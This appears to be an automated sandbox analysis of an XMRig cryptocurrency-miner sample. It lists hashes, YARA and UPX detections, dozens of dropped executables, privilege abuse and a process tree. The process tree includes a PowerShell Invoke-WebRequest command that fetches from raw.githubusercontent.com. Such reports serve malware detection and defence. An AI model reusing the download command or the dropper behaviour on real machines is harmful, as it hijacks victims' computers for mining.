xmrig | 9173b6348b2c768df18cf2972c1a195dca20b379d1fea3bb88ceeedeec4fc898

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
06/06/2024, 21:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Size

3.3MB
MD5

1a4b07b92ed46657aa0dbaf55078fe10
SHA1

5e9d498c3b714185abdbaee5c4a9d07520414505
SHA256

9173b6348b2c768df18cf2972c1a195dca20b379d1fea3bb88ceeedeec4fc898
SHA512

fc7161053bf10cd1e3696c65aee6202be6b3dfd091144a989f4e821be7be0a75a9bef5835e501313ba1a2388d761f0e77f5776ad5ba773f16d1ca20f7d7dd260
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWJ:7bBeSFkF

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/2272-0-0x00007FF62F8D0000-0x00007FF62FCC6000-memory.dmp	xmrig
behavioral2/files/0x000c0000000233be-6.dat	xmrig
behavioral2/files/0x000800000002340a-8.dat	xmrig
behavioral2/files/0x000700000002340b-23.dat	xmrig
behavioral2/files/0x000700000002340e-50.dat	xmrig
behavioral2/files/0x000700000002340d-59.dat	xmrig
behavioral2/files/0x0008000000023412-69.dat	xmrig
behavioral2/files/0x0007000000023410-67.dat	xmrig
behavioral2/files/0x0007000000023413-63.dat	xmrig
behavioral2/files/0x0007000000023414-75.dat	xmrig
behavioral2/files/0x0008000000023411-80.dat	xmrig
behavioral2/files/0x0007000000023418-95.dat	xmrig
behavioral2/memory/3516-107-0x00007FF77BD50000-0x00007FF77C146000-memory.dmp	xmrig
behavioral2/memory/1956-116-0x00007FF7EE490000-0x00007FF7EE886000-memory.dmp	xmrig
behavioral2/files/0x000700000002341b-118.dat	xmrig
behavioral2/memory/5096-122-0x00007FF7C7600000-0x00007FF7C79F6000-memory.dmp	xmrig
behavioral2/memory/1784-125-0x00007FF7CF370000-0x00007FF7CF766000-memory.dmp	xmrig
behavioral2/memory/3424-127-0x00007FF6EDDC0000-0x00007FF6EE1B6000-memory.dmp	xmrig
behavioral2/memory/1028-130-0x00007FF6CC090000-0x00007FF6CC486000-memory.dmp	xmrig
behavioral2/memory/4920-132-0x00007FF715E80000-0x00007FF716276000-memory.dmp	xmrig
behavioral2/memory/224-134-0x00007FF64ECA0000-0x00007FF64F096000-memory.dmp	xmrig
behavioral2/memory/1532-133-0x00007FF617B30000-0x00007FF617F26000-memory.dmp	xmrig
behavioral2/memory/3980-131-0x00007FF778360000-0x00007FF778756000-memory.dmp	xmrig
behavioral2/memory/3764-129-0x00007FF725DA0000-0x00007FF726196000-memory.dmp	xmrig
behavioral2/memory/3364-128-0x00007FF658FF0000-0x00007FF6593E6000-memory.dmp	xmrig
behavioral2/memory/4456-126-0x00007FF673390000-0x00007FF673786000-memory.dmp	xmrig
behavioral2/memory/4788-124-0x00007FF7622D0000-0x00007FF7626C6000-memory.dmp	xmrig
behavioral2/memory/1552-123-0x00007FF6471F0000-0x00007FF6475E6000-memory.dmp	xmrig
behavioral2/memory/4176-121-0x00007FF7AA4B0000-0x00007FF7AA8A6000-memory.dmp	xmrig
behavioral2/memory/3968-120-0x00007FF7029E0000-0x00007FF702DD6000-memory.dmp	xmrig
behavioral2/memory/548-117-0x00007FF7CB460000-0x00007FF7CB856000-memory.dmp	xmrig
behavioral2/files/0x000700000002341a-114.dat	xmrig
behavioral2/files/0x0007000000023419-112.dat	xmrig
behavioral2/memory/1760-108-0x00007FF61F900000-0x00007FF61FCF6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023417-102.dat	xmrig
behavioral2/files/0x0007000000023416-98.dat	xmrig
behavioral2/files/0x0007000000023415-87.dat	xmrig
behavioral2/memory/2576-62-0x00007FF727EC0000-0x00007FF7282B6000-memory.dmp	xmrig
behavioral2/files/0x000700000002340f-53.dat	xmrig
behavioral2/files/0x000700000002340c-45.dat	xmrig
behavioral2/files/0x00090000000233ff-15.dat	xmrig
behavioral2/memory/4652-340-0x00007FF718AC0000-0x00007FF718EB6000-memory.dmp	xmrig
behavioral2/memory/3816-354-0x00007FF60C290000-0x00007FF60C686000-memory.dmp	xmrig
behavioral2/files/0x000700000002346d-381.dat	xmrig
behavioral2/files/0x000700000002346a-385.dat	xmrig
behavioral2/files/0x0007000000023467-376.dat	xmrig
behavioral2/memory/1508-375-0x00007FF76F660000-0x00007FF76FA56000-memory.dmp	xmrig
behavioral2/files/0x0007000000023463-368.dat	xmrig
behavioral2/files/0x0007000000023462-353.dat	xmrig
behavioral2/files/0x000700000002345f-360.dat	xmrig
behavioral2/files/0x0007000000023494-434.dat	xmrig
behavioral2/memory/2272-1857-0x00007FF62F8D0000-0x00007FF62FCC6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023490-428.dat	xmrig
behavioral2/files/0x0007000000023470-423.dat	xmrig
behavioral2/memory/1084-347-0x00007FF7B4CA0000-0x00007FF7B5096000-memory.dmp	xmrig
behavioral2/files/0x000700000002345c-345.dat	xmrig
behavioral2/files/0x0007000000023459-329.dat	xmrig
behavioral2/files/0x000700000002341c-318.dat	xmrig
behavioral2/memory/1028-2386-0x00007FF6CC090000-0x00007FF6CC486000-memory.dmp	xmrig
behavioral2/memory/3516-2388-0x00007FF77BD50000-0x00007FF77C146000-memory.dmp	xmrig
behavioral2/memory/1760-2389-0x00007FF61F900000-0x00007FF61FCF6000-memory.dmp	xmrig
behavioral2/memory/1956-2390-0x00007FF7EE490000-0x00007FF7EE886000-memory.dmp	xmrig
behavioral2/memory/3980-2391-0x00007FF778360000-0x00007FF778756000-memory.dmp	xmrig
behavioral2/memory/3968-2392-0x00007FF7029E0000-0x00007FF702DD6000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
5	1224	powershell.exe
9	1224	powershell.exe
11	1224	powershell.exe
12	1224	powershell.exe
14	1224	powershell.exe
21	1224	powershell.exe
22	1224	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1224	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1028	iLSrosY.exe
2576	ChxBqcc.exe
3516	mbWMxqm.exe
1760	uTWpuNJ.exe
1956	RDpqbdC.exe
3980	Adjlmgv.exe
548	qMgKWtQ.exe
3968	xkiEtFb.exe
4176	eYyMNik.exe
4920	RdthhJV.exe
1532	ayopybu.exe
5096	xFCUYQW.exe
1552	YvyMiIj.exe
4788	AiFnROt.exe
1784	xYsIDwH.exe
4456	jDRRXUj.exe
3424	cBJnlHD.exe
3364	MiAvGWn.exe
3764	bIFiVVW.exe
224	lPNgUXn.exe
4652	sZqAndT.exe
1084	VVAgcGT.exe
3816	IPAfxsi.exe
1508	WABUwJI.exe
5048	QBetbYY.exe
5112	spZzLVw.exe
556	RtScgYg.exe
736	DmAasYA.exe
4572	qVnxXem.exe
1072	mAxXqSK.exe
1700	gpVxVVo.exe
4136	fMvtMvN.exe
4404	gHnMsrR.exe
392	UHSPErm.exe
664	okxxGUD.exe
2000	KDmjJdL.exe
4392	grLSnPV.exe
3108	eIuKiVI.exe
4944	dIVrHWE.exe
2016	STAUSbm.exe
4568	JzGVzff.exe
4272	OpkuEAz.exe
2756	FENcPNB.exe
1592	JEzUMRn.exe
2184	jgZyoPb.exe
2028	ZOvlakW.exe
3864	lDkYEMg.exe
2096	XkWDBrt.exe
1796	bzaURGP.exe
336	hwVEwYP.exe
4600	txbLfOf.exe
1440	YjCYfoa.exe
3320	qFTJSww.exe
2772	TTOkiMh.exe
756	rfHXJPP.exe
4956	quVWeOp.exe
4496	svCLboU.exe
440	mQiQRVP.exe
4352	iqkWTeo.exe
2744	IzksWAD.exe
5016	EwFDCYk.exe
4760	mdmQHua.exe
3936	qTVhpMI.exe
4896	wpWnGTt.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2272-0-0x00007FF62F8D0000-0x00007FF62FCC6000-memory.dmp	upx
behavioral2/files/0x000c0000000233be-6.dat	upx
behavioral2/files/0x000800000002340a-8.dat	upx
behavioral2/files/0x000700000002340b-23.dat	upx
behavioral2/files/0x000700000002340e-50.dat	upx
behavioral2/files/0x000700000002340d-59.dat	upx
behavioral2/files/0x0008000000023412-69.dat	upx
behavioral2/files/0x0007000000023410-67.dat	upx
behavioral2/files/0x0007000000023413-63.dat	upx
behavioral2/files/0x0007000000023414-75.dat	upx
behavioral2/files/0x0008000000023411-80.dat	upx
behavioral2/files/0x0007000000023418-95.dat	upx
behavioral2/memory/3516-107-0x00007FF77BD50000-0x00007FF77C146000-memory.dmp	upx
behavioral2/memory/1956-116-0x00007FF7EE490000-0x00007FF7EE886000-memory.dmp	upx
behavioral2/files/0x000700000002341b-118.dat	upx
behavioral2/memory/5096-122-0x00007FF7C7600000-0x00007FF7C79F6000-memory.dmp	upx
behavioral2/memory/1784-125-0x00007FF7CF370000-0x00007FF7CF766000-memory.dmp	upx
behavioral2/memory/3424-127-0x00007FF6EDDC0000-0x00007FF6EE1B6000-memory.dmp	upx
behavioral2/memory/1028-130-0x00007FF6CC090000-0x00007FF6CC486000-memory.dmp	upx
behavioral2/memory/4920-132-0x00007FF715E80000-0x00007FF716276000-memory.dmp	upx
behavioral2/memory/224-134-0x00007FF64ECA0000-0x00007FF64F096000-memory.dmp	upx
behavioral2/memory/1532-133-0x00007FF617B30000-0x00007FF617F26000-memory.dmp	upx
behavioral2/memory/3980-131-0x00007FF778360000-0x00007FF778756000-memory.dmp	upx
behavioral2/memory/3764-129-0x00007FF725DA0000-0x00007FF726196000-memory.dmp	upx
behavioral2/memory/3364-128-0x00007FF658FF0000-0x00007FF6593E6000-memory.dmp	upx
behavioral2/memory/4456-126-0x00007FF673390000-0x00007FF673786000-memory.dmp	upx
behavioral2/memory/4788-124-0x00007FF7622D0000-0x00007FF7626C6000-memory.dmp	upx
behavioral2/memory/1552-123-0x00007FF6471F0000-0x00007FF6475E6000-memory.dmp	upx
behavioral2/memory/4176-121-0x00007FF7AA4B0000-0x00007FF7AA8A6000-memory.dmp	upx
behavioral2/memory/3968-120-0x00007FF7029E0000-0x00007FF702DD6000-memory.dmp	upx
behavioral2/memory/548-117-0x00007FF7CB460000-0x00007FF7CB856000-memory.dmp	upx
behavioral2/files/0x000700000002341a-114.dat	upx
behavioral2/files/0x0007000000023419-112.dat	upx
behavioral2/memory/1760-108-0x00007FF61F900000-0x00007FF61FCF6000-memory.dmp	upx
behavioral2/files/0x0007000000023417-102.dat	upx
behavioral2/files/0x0007000000023416-98.dat	upx
behavioral2/files/0x0007000000023415-87.dat	upx
behavioral2/memory/2576-62-0x00007FF727EC0000-0x00007FF7282B6000-memory.dmp	upx
behavioral2/files/0x000700000002340f-53.dat	upx
behavioral2/files/0x000700000002340c-45.dat	upx
behavioral2/files/0x00090000000233ff-15.dat	upx
behavioral2/memory/4652-340-0x00007FF718AC0000-0x00007FF718EB6000-memory.dmp	upx
behavioral2/memory/3816-354-0x00007FF60C290000-0x00007FF60C686000-memory.dmp	upx
behavioral2/files/0x000700000002346d-381.dat	upx
behavioral2/files/0x000700000002346a-385.dat	upx
behavioral2/files/0x0007000000023467-376.dat	upx
behavioral2/memory/1508-375-0x00007FF76F660000-0x00007FF76FA56000-memory.dmp	upx
behavioral2/files/0x0007000000023463-368.dat	upx
behavioral2/files/0x0007000000023462-353.dat	upx
behavioral2/files/0x000700000002345f-360.dat	upx
behavioral2/files/0x0007000000023494-434.dat	upx
behavioral2/memory/2272-1857-0x00007FF62F8D0000-0x00007FF62FCC6000-memory.dmp	upx
behavioral2/files/0x0007000000023490-428.dat	upx
behavioral2/files/0x0007000000023470-423.dat	upx
behavioral2/memory/1084-347-0x00007FF7B4CA0000-0x00007FF7B5096000-memory.dmp	upx
behavioral2/files/0x000700000002345c-345.dat	upx
behavioral2/files/0x0007000000023459-329.dat	upx
behavioral2/files/0x000700000002341c-318.dat	upx
behavioral2/memory/1028-2386-0x00007FF6CC090000-0x00007FF6CC486000-memory.dmp	upx
behavioral2/memory/3516-2388-0x00007FF77BD50000-0x00007FF77C146000-memory.dmp	upx
behavioral2/memory/1760-2389-0x00007FF61F900000-0x00007FF61FCF6000-memory.dmp	upx
behavioral2/memory/1956-2390-0x00007FF7EE490000-0x00007FF7EE886000-memory.dmp	upx
behavioral2/memory/3980-2391-0x00007FF778360000-0x00007FF778756000-memory.dmp	upx
behavioral2/memory/3968-2392-0x00007FF7029E0000-0x00007FF702DD6000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ylWAjqm.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\izLHYxG.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\uzstTNM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\cLiZUII.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\pyMQqiO.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\Szrlgsj.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\qJNJwgd.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\XdNbDbi.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jXrDgLy.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\IHIXtnT.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QdgNokz.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\hAPKVdw.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jZjZcqD.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\MgnZKls.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\TuoABPt.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\PjdXrTh.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QbjPKDc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\IdjLsqn.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\IvhmCHW.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QMJxajF.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\wqdPLpz.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\fnmQhEl.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QLirlGP.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\dpaAIkN.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AARIjyq.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\qFTJSww.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\nkUwxgK.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\wbZsAtQ.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\tVPfWgG.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\HKAnQJx.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QAfibuk.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\QhJwEhK.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\XuDKAWw.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\nPvXUeW.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\MiyHXDH.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\YIwnPcl.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\JDMGPSj.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\FJwwlCs.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ggjeMHG.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\SiPmNLA.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\fMvtMvN.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\JlYjxiV.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\Hlkckux.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AeWqnmD.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\mCXxTFR.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\dynSanq.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\apaqcWo.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\NTNCWJz.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\eFXrUnk.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\IUDrpoC.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\zcijmxL.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\AMbPOFS.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\xWxtYdK.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\OwCtflY.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\MiAvGWn.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\jgZyoPb.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\rduAoWj.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\Aowfqrc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\ChxBqcc.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\WABUwJI.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\gxSLUxJ.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\OCMFpox.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\aeMpSqM.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
File created	C:\Windows\System\bloIMIp.exe	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1224	powershell.exe
1224	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
Token: SeDebugPrivilege	1224	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 1224	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	83
PID 2272 wrote to memory of 1224	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	83
PID 2272 wrote to memory of 1028	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	84
PID 2272 wrote to memory of 1028	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	84
PID 2272 wrote to memory of 2576	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	85
PID 2272 wrote to memory of 2576	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	85
PID 2272 wrote to memory of 3516	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	86
PID 2272 wrote to memory of 3516	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	86
PID 2272 wrote to memory of 1760	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	87
PID 2272 wrote to memory of 1760	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	87
PID 2272 wrote to memory of 1956	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	88
PID 2272 wrote to memory of 1956	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	88
PID 2272 wrote to memory of 548	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	89
PID 2272 wrote to memory of 548	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	89
PID 2272 wrote to memory of 3980	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	90
PID 2272 wrote to memory of 3980	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	90
PID 2272 wrote to memory of 3968	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	91
PID 2272 wrote to memory of 3968	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	91
PID 2272 wrote to memory of 4176	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	92
PID 2272 wrote to memory of 4176	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	92
PID 2272 wrote to memory of 4920	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	93
PID 2272 wrote to memory of 4920	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	93
PID 2272 wrote to memory of 1532	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	94
PID 2272 wrote to memory of 1532	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	94
PID 2272 wrote to memory of 5096	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	95
PID 2272 wrote to memory of 5096	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	95
PID 2272 wrote to memory of 1552	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	96
PID 2272 wrote to memory of 1552	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	96
PID 2272 wrote to memory of 4788	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	97
PID 2272 wrote to memory of 4788	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	97
PID 2272 wrote to memory of 1784	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	98
PID 2272 wrote to memory of 1784	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	98
PID 2272 wrote to memory of 4456	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	99
PID 2272 wrote to memory of 4456	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	99
PID 2272 wrote to memory of 3424	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	100
PID 2272 wrote to memory of 3424	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	100
PID 2272 wrote to memory of 3364	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	101
PID 2272 wrote to memory of 3364	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	101
PID 2272 wrote to memory of 3764	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	102
PID 2272 wrote to memory of 3764	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	102
PID 2272 wrote to memory of 224	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	103
PID 2272 wrote to memory of 224	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	103
PID 2272 wrote to memory of 4652	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	104
PID 2272 wrote to memory of 4652	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	104
PID 2272 wrote to memory of 1084	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	105
PID 2272 wrote to memory of 1084	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	105
PID 2272 wrote to memory of 3816	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	106
PID 2272 wrote to memory of 3816	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	106
PID 2272 wrote to memory of 1508	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	107
PID 2272 wrote to memory of 1508	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	107
PID 2272 wrote to memory of 5048	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	108
PID 2272 wrote to memory of 5048	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	108
PID 2272 wrote to memory of 5112	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	109
PID 2272 wrote to memory of 5112	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	109
PID 2272 wrote to memory of 556	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	110
PID 2272 wrote to memory of 556	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	110
PID 2272 wrote to memory of 736	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	111
PID 2272 wrote to memory of 736	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	111
PID 2272 wrote to memory of 4572	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	112
PID 2272 wrote to memory of 4572	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	112
PID 2272 wrote to memory of 1072	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	113
PID 2272 wrote to memory of 1072	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	113
PID 2272 wrote to memory of 1700	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	114
PID 2272 wrote to memory of 1700	2272	1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe	114

C:\Users\Admin\AppData\Local\Temp\1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\1a4b07b92ed46657aa0dbaf55078fe10_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\System\iLSrosY.exe
  C:\Windows\System\iLSrosY.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\ChxBqcc.exe
  C:\Windows\System\ChxBqcc.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\mbWMxqm.exe
  C:\Windows\System\mbWMxqm.exe
  2⤵
